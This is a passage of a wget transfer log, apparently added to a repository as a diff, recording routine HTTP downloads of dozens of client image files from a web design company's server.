+   50K .......... ...                                        100%  344.24 KB/s
+
+14:30:53 (1.47 MB/s) - `./original/cardiology.gif' saved [64595/64595]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/firstchoicept.gif
+           => `./original/firstchoicept.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 72,041 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 71%   12.21 MB/s
+   50K .......... ..........                                 100%   19.88 MB/s
+
+14:30:53 (13.74 MB/s) - `./original/firstchoicept.gif' saved [72041/72041]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/ejiw03.gif
+           => `./original/ejiw03.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 112,503 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 45%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 91%   12.21 MB/s
+  100K .........                                             100%    9.63 MB/s
+
+14:30:53 (10.73 MB/s) - `./original/ejiw03.gif' saved [112503/112503]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/quietmoose.jpg
+           => `./original/quietmoose.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 121,605 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 42%    6.10 MB/s
+   50K .......... .......... .......... .......... .......... 84%   12.21 MB/s
+  100K .......... ........                                   100%    9.16 MB/s
+
+14:30:53 (8.28 MB/s) - `./original/quietmoose.jpg' saved [121605/121605]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/quality.gif
+           => `./original/quality.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 89,617 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 57%   12.21 MB/s
+   50K .......... .......... .......... .......              100%   12.21 MB/s
+
+14:30:53 (12.21 MB/s) - `./original/quality.gif' saved [89617/89617]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/wbcoffee.jpg
+           => `./original/wbcoffee.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 90,647 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 56%   12.21 MB/s
+   50K .......... .......... .......... ........             100%   12.54 MB/s
+
+14:30:53 (12.35 MB/s) - `./original/wbcoffee.jpg' saved [90647/90647]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/ejiwshop.jpg
+           => `./original/ejiwshop.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 59,391 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 86%   12.21 MB/s
+   50K .......                                               100%    7.81 MB/s
+
+14:30:53 (11.33 MB/s) - `./original/ejiwshop.jpg' saved [59391/59391]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/lochenheath_03.gif
+           => `./original/lochenheath_03.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 73,726 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 69%   12.21 MB/s
+   50K .......... .......... .                               100%   10.74 MB/s
+
+14:30:53 (11.72 MB/s) - `./original/lochenheath_03.gif' saved [73726/73726]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/earlychildhood.jpg
+           => `./original/earlychildhood.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 27,810 [image/jpeg]
+
+    0K .......... .......... .......                         100%   13.26 MB/s
+
+14:30:53 (13.26 MB/s) - `./original/earlychildhood.jpg' saved [27810/27810]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/tbw.gif
+           => `./original/tbw.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 142,155 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 36%    3.05 MB/s
+   50K .......... .......... .......... .......... .......... 72%   12.21 MB/s
+  100K .......... .......... .......... ........             100%    9.48 MB/s
+
+14:30:53 (5.65 MB/s) - `./original/tbw.gif' saved [142155/142155]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/chx.jpg
+           => `./original/chx.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 136,223 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 37%   12.21 MB/s
+   50K .......... .......... .......... .......... .......... 75%    5.43 MB/s
+  100K .......... .......... .......... ...                  100%   10.75 MB/s
+
+14:30:53 (8.12 MB/s) - `./original/chx.jpg' saved [136223/136223]
+
+--14:30:54--  http://www.gaslightmedia.com/images/original/nmtma.jpg
+           => `./original/nmtma.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 34,254 [image/jpeg]
+
+    0K .......... .......... .......... ...                  100%   16.33 MB/s
+
+14:30:54 (16.33 MB/s) - `./original/nmtma.jpg' saved [34254/34254]
+
+--14:30:54--  http://www.gaslightmedia.com/images/original/michiganena.jpg
+           => `./original/michiganena.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 68,342 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 74%    4.88 MB/s
+   50K .......... ......                                     100%   16.35 MB/s
+
+14:30:54 (5.93 MB/s) - `./original/michiganena.jpg' saved [68342/68342]
+
+--14:30:54--  http://www.gaslightmedia.com/images/original/1065642148boynecity.gif
+           => `./original/1065642148boynecity.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 94,740 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 54%    4.44 MB/s
+   50K .......... .......... .......... .......... ..        100%    4.61 MB/s
+
+14:30:54 (4.52 MB/s) - `./original/1065642148boynecity.gif' saved [94740/94740]
+
+--14:30:54--  http://www.gaslightmedia.com/images/original/birchwood_construct.jpg
+           => `./original/birchwood_construct.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 83,592 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 61%    3.76 MB/s
+   50K .......... .......... .......... .                    100%   10.30 MB/s
+
+14:30:54 (4.98 MB/s) - `./original/birchwood_construct.jpg' saved [83592/83592]
+
+--14:30:54--  http://www.gaslightmedia.com/images/original/NMH03.gif
+           => `./original/NMH03.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 69,800 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 73%    3.49 MB/s
+   50K .......... ........                                   100%    8.87 MB/s
+
+14:30:54 (4.16 MB/s) - `./original/NMH03.gif' saved [69800/69800]
+
+--14:30:54--  http://www.gaslightmedia.com/images/original/wojan.jpg
+           => `./original/wojan.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 124,622 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 41%    3.49 MB/s
+   50K .......... .......... .......... .......... .......... 82%    9.77 MB/s
+  100K .......... .......... .                               100%   21.19 MB/s
+
+14:30:54 (5.94 MB/s) - `./original/wojan.jpg' saved [124622/124622]
+
+--14:30:54--  http://www.gaslightmedia.com/images/original/mainstreet.JPG
+           => `./original/mainstreet.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 82,430 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 62%    4.44 MB/s
+   50K .......... .......... ..........                      100%    9.93 MB/s
+
+14:30:54 (5.62 MB/s) - `./original/mainstreet.JPG' saved [82430/82430]
+
+--14:30:54--  http://www.gaslightmedia.com/images/original/MikexTurnbull.JPG
+           => `./original/MikexTurnbull.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 84,423 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 60%    6.10 MB/s
+   50K .......... .......... .......... ..                   100%   10.56 MB/s
+
+14:30:54 (7.32 MB/s) - `./original/MikexTurnbull.JPG' saved [84423/84423]
+
+--14:30:54--  http://www.gaslightmedia.com/images/original/knots.JPG
+           => `./original/knots.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 108,679 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 47%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 94%    3.49 MB/s
+  100K ......                                                100%    5.99 MB/s
+
+14:30:54 (5.45 MB/s) - `./original/knots.JPG' saved [108679/108679]
+
+--14:30:54--  http://www.gaslightmedia.com/images/original/scottishgifts.JPG
+           => `./original/scottishgifts.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 102,289 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 50%    2.22 MB/s
+   50K .......... .......... .......... .......... ......... 100%    3.75 MB/s
+
+14:30:54 (2.79 MB/s) - `./original/scottishgifts.JPG' saved [102289/102289]
+
+--14:30:54--  http://www.gaslightmedia.com/images/original/DetroitxMetroxCVB.bmp
+           => `./original/DetroitxMetroxCVB.bmp'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 1,440,054 [image/bmp]
+
+    0K .......... .......... .......... .......... ..........  3%    4.88 MB/s
+   50K .......... .......... .......... .......... ..........  7%    9.77 MB/s
+  100K .......... .......... .......... .......... .......... 10%    9.77 MB/s
+  150K .......... .......... .......... .......... .......... 14%   12.21 MB/s
+  200K .......... .......... .......... .......... .......... 17%   12.21 MB/s
+  250K .......... .......... .......... .......... .......... 21%    9.77 MB/s
+  300K .......... .......... .......... .......... .......... 24%  202.43 KB/s
+  350K .......... .......... .......... .......... .......... 28%    3.26 MB/s
+  400K .......... .......... .......... .......... .......... 31%    9.77 MB/s
+  450K .......... .......... .......... .......... .......... 35%   12.21 MB/s
+  500K .......... .......... .......... .......... .......... 39%   12.21 MB/s
+  550K .......... .......... .......... .......... .......... 42%    9.77 MB/s
+  600K .......... .......... .......... .......... .......... 46%    9.77 MB/s
+  650K .......... .......... .......... .......... .......... 49%  961.54 KB/s
+  700K .......... .......... .......... .......... .......... 53%  228.31 KB/s
+  750K .......... .......... .......... .......... .......... 56%    8.14 MB/s
+  800K .......... .......... .......... .......... .......... 60%    6.98 MB/s
+  850K .......... .......... .......... .......... .......... 63%    9.77 MB/s
+  900K .......... .......... .......... .......... .......... 67%    3.76 MB/s
+  950K .......... .......... .......... .......... .......... 71% 1000.00 KB/s
+ 1000K .......... .......... .......... .......... .......... 74%  793.65 KB/s
+ 1050K .......... .......... .......... .......... .......... 78%    1.58 MB/s
+ 1100K .......... .......... .......... .......... .......... 81%    3.76 MB/s
+ 1150K .......... .......... .......... .......... .......... 85% 1000.00 KB/s
+ 1200K .......... .......... .......... .......... .......... 88%  200.00 KB/s
+ 1250K .......... .......... .......... .......... .......... 92%    3.26 MB/s
+ 1300K .......... .......... .......... .......... .......... 95%    9.77 MB/s
+ 1350K .......... .......... .......... .......... .......... 99%    9.77 MB/s
+ 1400K ......                                                100%    6.16 MB/s
+
+14:30:55 (1.25 MB/s) - `./original/DetroitxMetroxCVB.bmp' saved [1440054/1440054]
+
+--14:30:55--  http://www.gaslightmedia.com/images/original/franmurdicks.JPG
+           => `./original/franmurdicks.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 83,194 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 61%    8.14 MB/s
+   50K .......... .......... .......... .                    100%    3.05 MB/s
+
+14:30:55 (4.96 MB/s) - `./original/franmurdicks.JPG' saved [83194/83194]
+
+--14:30:55--  http://www.gaslightmedia.com/images/original/cygnus.JPG
+           => `./original/cygnus.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 115,793 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 44%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 88%    9.77 MB/s
+  100K .......... ...                                        100%   52.74 KB/s
+
+14:30:56 (438.29 KB/s) - `./original/cygnus.JPG' saved [115793/115793]
+
+--14:30:56--  http://www.gaslightmedia.com/images/original/candycorner.JPG
+           => `./original/candycorner.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 118,274 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 43%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 86%    8.14 MB/s
+  100K .......... .....                                      100%   15.14 MB/s
+
+14:30:56 (9.40 MB/s) - `./original/candycorner.JPG' saved [118274/118274]
+
+--14:30:56--  http://www.gaslightmedia.com/images/original/loghomes.JPG
+           => `./original/loghomes.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 125,705 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 40%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 81%    3.76 MB/s
+  100K .......... .......... ..                              100%   11.11 MB/s
+
+14:30:56 (5.99 MB/s) - `./original/loghomes.JPG' saved [125705/125705]
+
+--14:30:56--  http://www.gaslightmedia.com/images/original/chippewa.JPG
+           => `./original/chippewa.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 95,484 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 53%    9.77 MB/s
+   50K .......... .......... .......... .......... ...       100%   10.56 MB/s
+
+14:30:56 (10.12 MB/s) - `./original/chippewa.JPG' saved [95484/95484]
+
+--14:30:56--  http://www.gaslightmedia.com/images/original/sunrooms.JPG
+           => `./original/sunrooms.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 115,589 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 44%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 88%    4.44 MB/s
+  100K .......... ..                                         100%   12.58 MB/s
+
+14:30:56 (6.48 MB/s) - `./original/sunrooms.JPG' saved [115589/115589]
+
+--14:30:56--  http://www.gaslightmedia.com/images/original/lilac.JPG
+           => `./original/lilac.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 94,814 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 54%    3.49 MB/s
+   50K .......... .......... .......... .......... ..        100%    1.89 MB/s
+
+14:30:56 (2.51 MB/s) - `./original/lilac.JPG' saved [94814/94814]
+
+--14:30:56--  http://www.gaslightmedia.com/images/original/burandtxduncan.JPG
+           => `./original/burandtxduncan.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 92,771 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 55%    5.43 MB/s
+   50K .......... .......... .......... ..........           100%    9.91 MB/s
+
+14:30:56 (6.81 MB/s) - `./original/burandtxduncan.JPG' saved [92771/92771]
+
+--14:30:56--  http://www.gaslightmedia.com/images/original/DERM.JPG
+           => `./original/DERM.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 83,181 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 61%    5.43 MB/s
+   50K .......... .......... .......... .                    100%  116.10 KB/s
+
+14:30:56 (292.20 KB/s) - `./original/DERM.JPG' saved [83181/83181]
+
+--14:30:56--  http://www.gaslightmedia.com/images/original/shipwreck04.gif
+           => `./original/shipwreck04.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 125,675 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 40%    5.43 MB/s
+   50K .......... .......... .......... .......... .......... 81%    6.98 MB/s
+  100K .......... .......... ..                              100%    4.44 MB/s
+
+14:30:56 (5.71 MB/s) - `./original/shipwreck04.gif' saved [125675/125675]
+
+--14:30:56--  http://www.gaslightmedia.com/images/original/michaywe.JPG
+           => `./original/michaywe.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 102,519 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 49%    4.07 MB/s
+   50K .......... .......... .......... .......... .......... 99%    6.98 MB/s
+  100K                                                       100%  116.21 KB/s
+
+14:30:56 (5.15 MB/s) - `./original/michaywe.JPG' saved [102519/102519]
+
+--14:30:56--  http://www.gaslightmedia.com/images/original/haywentha.JPG
+           => `./original/haywentha.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 110,188 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 46%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 92%    8.14 MB/s
+  100K .......                                               100%    7.43 MB/s
+
+14:30:56 (9.55 MB/s) - `./original/haywentha.JPG' saved [110188/110188]
+
+--14:30:56--  http://www.gaslightmedia.com/images/original/bullfrog.JPG
+           => `./original/bullfrog.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 71,162 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 71%    9.77 MB/s
+   50K .......... .........                                  100%    9.52 MB/s
+
+14:30:56 (9.70 MB/s) - `./original/bullfrog.JPG' saved [71162/71162]
+
+--14:30:56--  http://www.gaslightmedia.com/images/original/crookedtreedocent.JPG
+           => `./original/crookedtreedocent.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 102,599 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 49%    3.49 MB/s
+   50K .......... .......... .......... .......... .......... 99%    9.77 MB/s
+  100K                                                       100%  194.34 KB/s
+
+14:30:57 (5.15 MB/s) - `./original/crookedtreedocent.JPG' saved [102599/102599]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/screenshot5.JPG
+           => `./original/screenshot5.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 48,165 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......   100%    6.56 MB/s
+
+14:30:57 (6.56 MB/s) - `./original/screenshot5.JPG' saved [48165/48165]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/retailersfund.jpg
+           => `./original/retailersfund.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 70,431 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 72%    9.77 MB/s
+   50K .......... ........                                   100%   18.34 MB/s
+
+14:30:57 (11.19 MB/s) - `./original/retailersfund.jpg' saved [70431/70431]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/fsbo_03.gif
+           => `./original/fsbo_03.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 76,424 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 66%    9.77 MB/s
+   50K .......... .......... ....                            100%    3.01 MB/s
+
+14:30:57 (5.61 MB/s) - `./original/fsbo_03.gif' saved [76424/76424]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/mclean03.gif
+           => `./original/mclean03.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 94,215 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 54%   24.41 MB/s
+   50K .......... .......... .......... .......... ..        100%    3.42 MB/s
+
+14:30:57 (6.42 MB/s) - `./original/mclean03.gif' saved [94215/94215]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/ranchrv.JPG
+           => `./original/ranchrv.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 108,404 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 47%    4.07 MB/s
+   50K .......... .......... .......... .......... .......... 94%    4.07 MB/s
+  100K .....                                                 100%    5.73 MB/s
+
+14:30:57 (4.31 MB/s) - `./original/ranchrv.JPG' saved [108404/108404]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/wgtu.JPG
+           => `./original/wgtu.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 88,585 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 57%    5.43 MB/s
+   50K .......... .......... .......... ......               100%    8.91 MB/s
+
+14:30:57 (6.50 MB/s) - `./original/wgtu.JPG' saved [88585/88585]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/1102716360mysteryxspot.JPG
+           => `./original/1102716360mysteryxspot.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 106,833 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 47%    4.88 MB/s
+   50K .......... .......... .......... .......... .......... 95%    5.43 MB/s
+  100K ....                                                  100%    4.23 MB/s
+
+14:30:57 (5.36 MB/s) - `./original/1102716360mysteryxspot.JPG' saved [106833/106833]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/mlsmart.JPG
+           => `./original/mlsmart.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 104,103 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 49%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 98%    8.14 MB/s
+  100K .                                                     100%    1.62 MB/s
+
+14:30:57 (9.03 MB/s) - `./original/mlsmart.JPG' saved [104103/104103]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/1053627742mavb.jpg
+           => `./original/1053627742mavb.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 114,048 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 44%    6.10 MB/s
+   50K .......... .......... .......... .......... .......... 89%    4.07 MB/s
+  100K .......... .                                          100%   11.11 MB/s
+
+14:30:57 (5.18 MB/s) - `./original/1053627742mavb.jpg' saved [114048/114048]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/capluna.JPG
+           => `./original/capluna.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 55,182 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 92%    5.43 MB/s
+   50K ...                                                   100%    3.80 MB/s
+
+14:30:57 (5.26 MB/s) - `./original/capluna.JPG' saved [55182/55182]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/MSHP.JPG
+           => `./original/MSHP.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 90,525 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 56%    4.88 MB/s
+   50K .......... .......... .......... ........             100%    7.50 MB/s
+
+14:30:57 (5.76 MB/s) - `./original/MSHP.JPG' saved [90525/90525]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/1109090425tedc.JPG
+           => `./original/1109090425tedc.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 62,966 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 81%    6.10 MB/s
+   50K .......... .                                          100%   11.22 MB/s
+
+14:30:57 (6.67 MB/s) - `./original/1109090425tedc.JPG' saved [62966/62966]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/trailscouncil.JPG
+           => `./original/trailscouncil.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 59,846 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 85%    4.07 MB/s
+   50K ........                                              100%    8.25 MB/s
+
+14:30:57 (4.39 MB/s) - `./original/trailscouncil.JPG' saved [59846/59846]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/theloon.JPG
+           => `./original/theloon.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 56,603 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 90%    3.76 MB/s
+   50K .....                                                 100%    5.15 MB/s
+
+14:30:57 (4.15 MB/s) - `./original/theloon.JPG' saved [56603/56603]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/northernresort.JPG
+           => `./original/northernresort.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 47,114 [image/jpeg]
+
+    0K .......... .......... .......... .......... ......    100%    4.99 MB/s
+
+14:30:57 (4.99 MB/s) - `./original/northernresort.JPG' saved [47114/47114]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/mapleblock.JPG
+           => `./original/mapleblock.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 43,493 [image/jpeg]
+
+    0K .......... .......... .......... .......... ..        100%    4.61 MB/s
+
+14:30:57 (4.61 MB/s) - `./original/mapleblock.JPG' saved [43493/43493]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/kids_launched.jpg
+           => `./original/kids_launched.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 48,890 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......   100%   11.66 MB/s
+
+14:30:57 (11.66 MB/s) - `./original/kids_launched.jpg' saved [48890/48890]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/wcpcpascreen.jpg
+           => `./original/wcpcpascreen.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 35,757 [image/jpeg]
+
+    0K .......... .......... .......... ....                 100%   11.37 MB/s
+
+14:30:57 (11.37 MB/s) - `./original/wcpcpascreen.jpg' saved [35757/35757]
+
+--14:30:57--  http://www.gaslightmedia.com/images/original/hawkslanding.jpg
+           => `./original/hawkslanding.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 46,555 [image/jpeg]
+
+    0K .......... .......... .......... .......... .....     100%   11.10 MB/s
+
+14:30:58 (11.10 MB/s) - `./original/hawkslanding.jpg' saved [46555/46555]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/wheel_launched.jpg
+           => `./original/wheel_launched.jpg'
+Resolving www.gaslightmedia.com... done.
